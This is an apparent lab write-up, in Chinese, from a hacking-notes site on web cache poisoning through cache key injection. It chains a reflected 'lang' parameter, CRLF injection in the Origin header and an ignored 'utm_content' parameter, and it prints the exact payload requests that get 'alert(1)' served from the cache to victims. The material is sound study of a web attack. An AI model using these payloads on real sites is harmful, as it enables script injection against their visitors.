> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/cache-poisoning/injection-into-cache-key.md).

# 注入缓存键

### 缓存键注入

### 向缓存键注入

我们需要结合多个漏洞（包括 **缓存键注入**）来执行 **`alert(1)`** 在受害者的浏览器中。实验要求使用以下报头 **`Pragma: x-get-cache-key`**.

<figure><img src="/files/fd51e9bfcf50f3f62f4171d7d91f75f9df5fa099" alt=""><figcaption></figcaption></figure>

#### 侦察

1/) 登录行为

* 我们有一个连接面板。
* 登录后，我们会被重定向到 **`/login/?lang=en`**.
* 然后会设置一个会话 cookie。

<figure><img src="/files/9a9952aa737dcbdeecd605846730dbc7cf062ae0" alt=""><figcaption></figcaption></figure>

2/) 的反射 `lang` 参数

* 我们的输入通过以下方式出现在响应中： `lang`:
* 示例： **`/login/?lang=HELLLOOOO`**

```bash
/login/?lang=HELLLOOOO
```

<figure><img src="/files/489ae1978aea73111f716bf33b1d7701d0b7f6de" alt=""><figcaption></figcaption></figure>

如果我们放入 HTML 标签（例如 `<h1>`), **它不会执行**：存在 HTML 编码\*\*。

<figure><img src="/files/fbce926bca15c6bf790c404597e0606b1957bc67" alt=""><figcaption></figcaption></figure>

#### 运营性入口点

隐藏的 JS 文件： `localize.js`

```bash
/js/localize.js?lang=en&cors=0
```

我们注意到后台有一个脚本：

* **`/js/localize.js?lang=en&CORS=0`**
* 观察到的响应：
* `document.cookie = 'lang=en';`

如果我们更改 `lang`，该值会被反映：

* **`/js/localize.js?lang=hello&CORS=0`** → `hello` 出现在响应中。

<figure><img src="/files/04630630fc08439f5f1c214b2f12ea196ef4fe27" alt=""><figcaption></figcaption></figure>

### 对缓存键的观察

我们添加：

```http
Pragma: x-get-cache-key
```

然后我们得到键：

* `X-Cache-Key: /js/localize.js?lang=en&CORS=0$$`

<figure><img src="/files/ee89424e8bdb46a2e50992ac07681cee95e2034e" alt=""><figcaption></figcaption></figure>

我们发现 `CORS` 会影响该键，而且在操控 **Origin** + `CORS`时，我们可以改变进入缓存的内容。

<figure><img src="/files/ae395213770136d17ba23b2ab579d675bf3845fb" alt=""><figcaption></figcaption></figure>

### 通过回车注入请求头

我们使用 CRLF 注入：

* `%0d%0a`

```
man ascii
```

<figure><img src="/files/34d20d3a8254cac0170f10cb6720c363fefd9514" alt=""><figcaption></figcaption></figure>

#### 1) 测试：Cookie 注入

我们发送：

* `Origin: hello%0d%0aSet-Cookie:%20csrfKey=a`

结果：该 cookie 在响应端被正确解析。

<figure><img src="/files/bd144125025c3831c115f3d501d2fffc3323ff10" alt=""><figcaption></figcaption></figure>

#### 通过操纵进行 JavaScript 注入 `Content-Length`

然后我们尝试通过以下方式将内容注入响应中：

* `Origin: x%0d%0aContent-Length:%208%0d%0a%0d%0aalert(1)$$$$`

在响应中，我们发现 **`alert(1)`**.

<figure><img src="/files/252d7e2deecc6a7bff86845e48f2f9fe004369dd" alt=""><figcaption></figcaption></figure>

#### 构造定向的隐藏响应

为了让服务器存储这个版本（带有 `alert(1)`）， **缓存键** 必须匹配一个包含我们注入内容的格式 `Origin`，例如：

{% code overflow="wrap" %}

```http
X-Cache-Key: /js/localize.js?lang=hello&cors=1$$origin=hello%0d%0aContent-Length: 8%0d%0a%0d%0aalert(1)
```

{% endcode %}

<figure><img src="/files/e4b808c69a16d841f0bf4dbe176acd604152f38e" alt=""><figcaption></figcaption></figure>

#### 通过被忽略参数在受害者端制造偏移

我们寻找一个被缓存忽略的参数（使用 Param Miner 找到）：

* **`utm_content`**

我们重新利用缓存键，并将载荷放入 `utm_content` 以便在访问时提供被污染的资源 `lang=en`.

最终请求（我们使用的）：

{% code overflow="wrap" %}

```bash
GET /login?lang=en?utm_content=x%26cors=1%26x=1$$origin=x%250d%250aContent-Length:%208%250d%250a%250d%250aalert(1)$$%23 HTTP/2
```

{% endcode %}

<figure><img src="/files/17099ac560f9ef452f402a1a033039a40d6aeb2b" alt=""><figcaption></figcaption></figure>

当受害者在中打开页面时 **`/login/?lang=en`** （通过重定向），被污染的内容会从缓存中提供，并且 **`alert(1)`** 会执行。

<figure><img src="/files/0779f72413f4fcae6fc62418911b60971949fadd" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/cache-poisoning/injection-into-cache-key.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
